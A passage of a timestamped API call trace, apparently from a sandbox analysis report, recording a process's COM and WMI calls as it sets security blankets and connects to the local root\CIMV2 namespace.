riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc680 | out: ppvObject=0x1b0bc680*=0x1b3509c8) returned 0x0 [0157.697] IUnknown:QueryInterface (in: This=0x1b334800, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc690 | out: ppvObject=0x1b0bc690*=0x1b334808) returned 0x0 [0157.697] IClientSecurity:SetBlanket (This=0x1b334808, pProxy=0x1b334800, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.700] IUnknown:Release (This=0x1b334808) returned 0x2 [0157.700] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x1 [0157.701] CoTaskMemFree (pv=0x1b33fcc0) [0157.701] IUnknown:QueryInterface (in: This=0x1b334800, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc140 | out: ppvObject=0x1b0bc140*=0x1b3509c8) returned 0x0 [0157.701] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bc1d0 | out: ppvObject=0x1b0bc1d0*=0x0) returned 0x80004002 [0157.701] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbdf0 | out: ppvObject=0x1b0bbdf0*=0x0) returned 0x80004002 [0157.702] IUnknown:QueryInterface (in: This=0x1b334800, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb9c8 | out: ppvObject=0x1b0bb9c8*=0x0) returned 0x80004002 [0157.702] WbemLocator:IUnknown:AddRef (This=0x1b3509c8) returned 0x3 [0157.702] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb888 | out: ppvObject=0x1b0bb888*=0x0) returned 0x80004002 [0157.702] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb810 | out: ppvObject=0x1b0bb810*=0x0) returned 0x80004002 [0157.702] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb800 | out: ppvObject=0x1b0bb800*=0x1b3508a8) returned 0x0 [0157.702] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3508a8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb828 | out: pCid=0x1b0bb828*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.702] WbemLocator:IUnknown:Release (This=0x1b3508a8) returned 0x3 [0157.702] CoGetContextToken (in: pToken=0x1b0bb8b0 | out: pToken=0x1b0bb8b0) returned 0x0 [0157.703] CoGetContextToken (in: pToken=0x1b0bbd30 | out: pToken=0x1b0bbd30) returned 0x0 [0157.703] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbdf0 | out: ppvObject=0x1b0bbdf0*=0x1b350990) returned 0x0 [0157.703] WbemLocator:IRpcOptions:Query (in: This=0x1b350990, pPrx=0x1b3509c8, dwProperty=2, pdwValue=0x1b0bbde0 | out: pdwValue=0x1b0bbde0) returned 0x80004002 [0157.703] WbemLocator:IUnknown:Release (This=0x1b350990) returned 0x3 [0157.703] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x2 [0157.703] CoGetContextToken (in: pToken=0x1b0bc3f0 | out: pToken=0x1b0bc3f0) returned 0x0 [0157.703] CoGetContextToken (in: pToken=0x1b0bc2f0 | out: pToken=0x1b0bc2f0) returned 0x0 [0157.703] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x1b0bc450*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b0bc420 | out: ppvObject=0x1b0bc420*=0x1b334800) returned 0x0 [0157.703] IUnknown:AddRef (This=0x1b334800) returned 0x4 [0157.703] IUnknown:Release (This=0x1b334800) returned 0x3 [0157.703] IUnknown:Release (This=0x1b334800) returned 0x2 [0157.703] IUnknown:Release (This=0x1b34c270) returned 0x2 [0157.703] SysStringLen (param_1=0x0) returned 0x0 [0157.703] IEnumWbemClassObject:Reset (This=0x1b334800) returned 0x0 [0157.704] CoTaskMemAlloc (cb=0x8) returned 0x1b32ae90 [0157.704] IEnumWbemClassObject:Next (in: This=0x1b334800, lTimeout=-1, uCount=0x1, apObjects=0x1b32ae90, puReturned=0x2be5c30 | out: apObjects=0x1b32ae90*=0x0, puReturned=0x2be5c30*=0x0) returned 0x1 [0157.705] CoTaskMemFree (pv=0x1b32ae90) [0157.705] CoGetContextToken (in: pToken=0x1b0bc7b0 | out: pToken=0x1b0bc7b0) returned 0x0 [0157.705] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x1 [0157.705] IUnknown:Release (This=0x1b334800) returned 0x0 [0157.753] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bcc08 | out: ppv=0x1b0bcc08*=0x4b0108) returned 0x0 [0157.753] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bcbf8 | out: pAptType=0x1b0bcbf8*=1) returned 0x0 [0157.753] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bcc00 | out: ppvObject=0x1b0bcc00*=0x0) returned 0x80004002 [0157.753] IUnknown:Release (This=0x4b0108) returned 0x1 [0157.754] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bbff8 | out: ppv=0x1b0bbff8*=0x1b3206c0) returned 0x0 [0157.754] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b3206c0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bc0e0 | out: ppvObject=0x1b0bc0e0*=0x0) returned 0x80004002 [0157.754] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b3206c0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc0b8 | out: ppvObject=0x1b0bc0b8*=0x4f37c0) returned 0x0 [0157.755] WbemDefPath:IUnknown:Release (This=0x1b3206c0) returned 0x0 [0157.755] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f37c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbe60 | out: ppvObject=0x1b0bbe60*=0x4f37c0) returned 0x0 [0157.755] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f37c0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbef0 | out: ppvObject=0x1b0bbef0*=0x0) returned 0x80004002 [0157.755] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f37c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb6e8 | out: ppvObject=0x1b0bb6e8*=0x0) returned 0x80004002 [0157.755] WbemDefPath:IUnknown:AddRef (This=0x4f37c0) returned 0x3 [0157.755] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f37c0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb5a8 | out: ppvObject=0x1b0bb5a8*=0x0) returned 0x80004002 [0157.755] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f37c0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb530 | out: ppvObject=0x1b0bb530*=0x0) returned 0x80004002 [0157.755] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f37c0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb520 | out: ppvObject=0x1b0bb520*=0x1b320a00) returned 0x0 [0157.755] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b320a00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb548 | out: pCid=0x1b0bb548*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.755] WbemDefPath:IUnknown:Release (This=0x1b320a00) returned 0x3 [0157.755] CoGetContextToken (in: pToken=0x1b0bb5d0 | out: pToken=0x1b0bb5d0) returned 0x0 [0157.755] CoGetContextToken (in: pToken=0x1b0bba50 | out: pToken=0x1b0bba50) returned 0x0 [0157.755] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f37c0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbb10 | out: ppvObject=0x1b0bbb10*=0x0) returned 0x80004002 [0157.756] WbemDefPath:IUnknown:Release (This=0x4f37c0) returned 0x2 [0157.756] WbemDefPath:IUnknown:Release (This=0x4f37c0) returned 0x1 [0157.756] CoGetContextToken (in: pToken=0x1b0bc840 | out: pToken=0x1b0bc840) returned 0x0 [0157.756] CoGetContextToken (in: pToken=0x1b0bc740 | out: pToken=0x1b0bc740) returned 0x0 [0157.756] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f37c0, riid=0x1b0bc8a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b0bc870 | out: ppvObject=0x1b0bc870*=0x4f37c0) returned 0x0 [0157.756] WbemDefPath:IUnknown:AddRef (This=0x4f37c0) returned 0x3 [0157.756] WbemDefPath:IUnknown:Release (This=0x4f37c0) returned 0x2 [0157.756] WbemDefPath:IWbemPath:SetText (This=0x4f37c0, uMode=0x4, pszPath="root\\CIMV2") returned 0x0 [0157.756] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f37c0, puCount=0x1b0bcc28 | out: puCount=0x1b0bcc28*=0x2) returned 0x0 [0157.756] WbemDefPath:IWbemPath:GetText (in: This=0x4f37c0, lFlags=4, puBuffLength=0x1b0bcc20*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bcc20*=0xf, pszText=0x0) returned 0x0 [0157.756] WbemDefPath:IWbemPath:GetText (in: This=0x4f37c0, lFlags=4, puBuffLength=0x1b0bcc20*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bcc20*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.756] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f37c0, puCount=0x1b0bcc38 | out: puCount=0x1b0bcc38*=0x2) returned 0x0 [0157.756] WbemDefPath:IWbemPath:GetText (in: This=0x4f37c0, lFlags=4, puBuffLength=0x1b0bcc30*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bcc30*=0xf, pszText=0x0) returned 0x0 [0157.756] WbemDefPath:IWbemPath:GetText (in: This=0x4f37c0, lFlags=4, puBuffLength=0x1b0bcc30*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bcc30*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.756] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bcbb8 | out: ppv=0x1b0bcbb8*=0x4b0108) returned 0x0 [0157.756] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bcba8 | out: pAptType=0x1b0bcba8*=1) returned 0x0 [0157.756] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bcbb0 | out: ppvObject=0x1b0bcbb0*=0x0) returned 0x80004002 [0157.756] IUnknown:Release (This=0x4b0108) returned 0x1 [0157.757] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc278 | out: ppv=0x1b0bc278*=0x1b320760) returned 0x0 [0157.757] WbemLocator:IUnknown:QueryInterface (in: This=0x1b320760, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bc360 | out: ppvObject=0x1b0bc360*=0x0) returned 0x80004002 [0157.757] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b320760, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc338 | out: ppvObject=0x1b0bc338*=0x1b320500) returned 0x0 [0157.757] WbemLocator:IUnknown:Release (This=0x1b320760) returned 0x0 [0157.757] WbemLocator:IUnknown:QueryInterface (in: This=0x1b320500, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc0e0 | out: ppvObject=0x1b0bc0e0*=0x1b320500) returned 0x0 [0157.757] WbemLocator:IUnknown:QueryInterface (in: This=0x1b320500, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bc170 | out: ppvObject=0x1b0bc170*=0x0) returned 0x80004002 [0157.758] WbemLocator:IUnknown:QueryInterface (in: This=0x1b320500, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb968 | out: ppvObject=0x1b0bb968*=0x0) returned 0x80004002 [0157.758] WbemLocator:IUnknown:AddRef (This=0x1b320500) returned 0x3 [0157.758] WbemLocator:IUnknown:QueryInterface (in: This=0x1b320500, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb828 | out: ppvObject=0x1b0bb828*=0x0) returned 0x80004002 [0157.758] WbemLocator:IUnknown:QueryInterface (in: This=0x1b320500, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb7b0 | out: ppvObject=0x1b0bb7b0*=0x0) returned 0x80004002 [0157.758] WbemLocator:IUnknown:QueryInterface (in: This=0x1b320500, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb7a0 | out: ppvObject=0x1b0bb7a0*=0x0) returned 0x80004002 [0157.758] CoGetContextToken (in: pToken=0x1b0bb850 | out: pToken=0x1b0bb850) returned 0x0 [0157.758] CoGetContextToken (in: pToken=0x1b0bbcd0 | out: pToken=0x1b0bbcd0) returned 0x0 [0157.758] WbemLocator:IUnknown:QueryInterface (in: This=0x1b320500, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbd90 | out: ppvObject=0x1b0bbd90*=0x0) returned 0x80004002 [0157.758] WbemLocator:IUnknown:Release (This=0x1b320500) returned 0x2 [0157.758] WbemLocator:IUnknown:Release (This=0x1b320500) returned 0x1 [0157.758] CoGetContextToken (in: pToken=0x1b0bc710 | out: pToken=0x1b0bc710) returned 0x0 [0157.758] CoGetContextToken (in: pToken=0x1b0bc610 | out: pToken=0x1b0bc610) returned 0x0 [0157.758] WbemLocator:IUnknown:QueryInterface (in: This=0x1b320500, riid=0x1b0bc770*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b0bc740 | out: ppvObject=0x1b0bc740*=0x1b320500) returned 0x0 [0157.758] WbemLocator:IUnknown:AddRef (This=0x1b320500) returned 0x3 [0157.758] WbemLocator:IUnknown:Release (This=0x1b320500) returned 0x2 [0157.758] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f37c0, puCount=0x1b0bcb48 | out: puCount=0x1b0bcb48*=0x2) returned 0x0 [0157.759] WbemDefPath:IWbemPath:GetText (in: This=0x4f37c0, lFlags=8, puBuffLength=0x1b0bcb40*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bcb40*=0xf, pszText=0x0) returned 0x0 [0157.759] WbemDefPath:IWbemPath:GetText (in: This=0x4f37c0, lFlags=8, puBuffLength=0x1b0bcb40*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bcb40*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.759] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b0bc890 | out: ppv=0x1b0bc890*=0x1b3207c0) returned 0x0 [0157.759] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b3207c0, strNetworkResource="\\\\.\\root\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b0bca08 | out: ppNamespace=0x1b0bca08*=0x1b341a60) returned 0x0 [0157.785] WbemLocator:IUnknown:QueryInterface (in: This=0x1b341a60, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc708 | out: ppvObject=0x1b0bc708*=0x1b350980) returned 0x0 [0157.785] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b350980, pProxy=0x1b341a60, pAuthnSvc=0x1b0bc7d0, pAuthzSvc=0x1b0bc750, pServerPrincName=0x1b0bc778, pAuthnLevel=0x1b0bc754, pImpLevel=0x1b0bc760, pAuthInfo=0x1b0bc788, pCapabilites=0x1b0bc764 | out: pAuthnSvc=0x1b0bc7d0*=0xa, pAuthzSvc=0x1b0bc750*=0x0, pServerPrincName=0x1b0bc778, pAuthnLevel=0x1b0bc754*=0x6, pImpLevel=0x1b0bc760*=0x2, pAuthInfo=0x1b0bc788, pCapabilites=0x1b0bc764*=0x1) returned 0x0 [0157.785] WbemLocator:IUnknown:Release (This=0x1b350980) returned 0x1 [0157.785] WbemLocator:IUnknown:QueryInterface (in: This=0x1b341a60, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc6a0 | out: ppvObject=0x1b0bc6a0*=0x1b3509c8) returned 0x0 [0157.786] WbemLocator:IUnknown:QueryInterface (in: This=0x1b341a60, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc6b0 | out: ppvObject=0x1b0bc6b0*=0x1b350980) returned 0x0 [0157.786] WbemLocator:IClientSecurity:SetBlanket (This=0x1b350980, pProxy=0x1b341a60, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.786] WbemLocator:IUnknown:Release (This=0x1b350980) returned 0x2 [0157.786] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x1 [0157.786] CoTaskMemFree (pv=0x1b33ff00) [0157.786] WbemLocator:IUnknown:Release (This=0x1b3207c0) returned 0x0 [0157.786] WbemLocator:IUnknown:QueryInterface (in: This=0x1b341a60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc1a0 | out: ppvObject=0x1b0bc1a0*=0x1b3509c8) returned 0x0 [0157.787] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bc230 | out: ppvObject=0x1b0bc230*=0x0) returned 0x80004002 [0157.787] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbe50 | out: ppvObject=0x1b0bbe50*=0x0) returned 0x80004002 [0157.788] WbemLocator:IUnknown:QueryInterface (in: This=0x1b341a60, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bba28 | out: ppvObject=0x1b0bba28*=0x0) returned 0x80004002 [0157.788] WbemLocator:IUnknown:AddRef (This=0x1b3509c8) returned 0x3 [0157.788] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb8e8 | out: ppvObject=0x1b0bb8e8*=0x0) returned 0x80004002 [0157.788] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb870 | out: ppvObject=0x1b0bb870*=0x0) returned 0x80004002 [0157.788] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 